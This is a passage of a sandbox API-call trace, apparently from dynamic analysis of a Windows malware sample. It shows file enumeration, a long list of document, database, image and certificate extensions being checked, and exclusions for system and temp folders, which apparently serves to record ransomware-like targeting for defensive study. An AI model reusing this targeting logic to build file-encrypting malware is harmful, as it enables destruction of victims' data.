HALPmcxz\\Desktop\\BGS68m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x36534742, cFileName="8m2GcG4vAvJRm5wIghc-9N8y9vB_Mkeubz_j0TtAcGfgui60EjI9juSwtsN7jJoh0dHbS0QPGAjofhEXi_co4wZ71D1dcpwuO.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0120.897] GetLastError () returned 0x2 [0120.897] GetLastError () returned 0x2 [0120.897] SetLastError (dwErrCode=0x2) [0120.898] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.898] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_main.xml_e4c2fcc8", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_main.xml_e4c2fcc8") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_main.xml_e4c2fcc8" [0120.898] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.898] VarBstrCmp (bstrLeft="fcc8", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.898] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.898] VarBstrCmp (bstrLeft="cc8", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.898] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.899] VarBstrCmp (bstrLeft="fcc8", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.899] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.899] VarBstrCmp (bstrLeft="fcc8", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.899] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.899] VarBstrCmp (bstrLeft="fcc8", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.899] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.900] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.900] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.900] VarBstrCmp (bstrLeft="fcc8", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.900] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.900] VarBstrCmp (bstrLeft="fcc8", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.900] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.900] VarBstrCmp (bstrLeft="fcc8", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.900] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.901] VarBstrCmp (bstrLeft="fcc8", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.901] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.901] VarBstrCmp (bstrLeft="fcc8", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.901] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.901] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.901] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.901] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.901] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.902] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.902] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.902] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.902] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.902] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.902] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.902] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.902] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.903] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.903] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.903] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.903] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.903] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.903] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.917] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.917] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.917] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.917] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.917] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.917] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.918] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.918] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.918] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.918] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.918] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.918] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.919] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.919] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.919] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.919] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.919] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.919] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.919] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.919] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.920] VarBstrCmp (bstrLeft="fcc8", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.920] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.920] VarBstrCmp (bstrLeft="fcc8", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.920] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.920] VarBstrCmp (bstrLeft="fcc8", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.920] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.920] VarBstrCmp (bstrLeft="fcc8", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.920] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.921] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.921] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.921] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.921] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.921] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.921] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.922] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.922] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.922] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.922] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.922] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.922] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.922] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.922] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.923] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.923] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.923] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.923] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.923] VarBstrCmp (bstrLeft="c2fcc8", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.923] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.924] VarBstrCmp (bstrLeft="e4c2fcc8", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.924] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.924] VarBstrCmp (bstrLeft="c2fcc8", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.924] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.927] VarBstrCmp (bstrLeft="fcc8", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.927] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.928] VarBstrCmp (bstrLeft="fcc8", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.928] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.928] VarBstrCmp (bstrLeft="fcc8", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.928] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.928] VarBstrCmp (bstrLeft="fcc8", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.928] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.929] VarBstrCmp (bstrLeft="fcc8", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.929] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.929] VarBstrCmp (bstrLeft="cc8", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.929] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.929] VarBstrCmp (bstrLeft="fcc8", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.929] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.929] VarBstrCmp (bstrLeft="cc8", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.929] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.930] VarBstrCmp (bstrLeft="fcc8", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.930] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.930] VarBstrCmp (bstrLeft="fcc8", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.930] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.930] VarBstrCmp (bstrLeft="fcc8", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.930] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.930] VarBstrCmp (bstrLeft="fcc8", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.931] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.931] VarBstrCmp (bstrLeft="fcc8", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.931] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.931] VarBstrCmp (bstrLeft="fcc8", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.931] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.931] VarBstrCmp (bstrLeft="fcc8", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.931] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.931] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.931] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.932] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.932] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.932] VarBstrCmp (bstrLeft="fcc8", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.932] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.932] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.932] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.932] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.933] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.933] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.933] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.933] VarBstrCmp (bstrLeft="fcc8", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.933] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.933] VarBstrCmp (bstrLeft="fcc8", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.933] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.934] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.934] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.934] VarBstrCmp (bstrLeft="2fcc8", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.934] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.934] VarBstrCmp (bstrLeft="fcc8", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.934] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.934] VarBstrCmp (bstrLeft="_e4c2fcc8", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.934] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.935] VarBstrCmp (bstrLeft="fcc8", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.935] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.935] VarBstrCmp (bstrLeft="fcc8", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.935] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.935] VarBstrCmp (bstrLeft="fcc8", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.935] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.935] VarBstrCmp (bstrLeft="fcc8", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.935] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.936] VarBstrCmp (bstrLeft="fcc8", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.936] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.936] VarBstrCmp (bstrLeft="fcc8", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.936] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.936] VarBstrCmp (bstrLeft="fcc8", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.936] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.936] VarBstrCmp (bstrLeft="fcc8", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.936] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarBstrCmp (bstrLeft="fcc8", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarBstrCmp (bstrLeft="fcc8", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.937] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.938] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.939] lstrcpynW (in: lpString1=0x142fffc, lpString2="main.xml", iMaxLength=9 | out: lpString1="main.xml") returned="main.xml" [0120.939] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="K", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x334, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.940] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.940] lstrcpynW (in: lpString1=0x144d9ac, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0120.940] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.941] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 0x4a [0120.941] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") 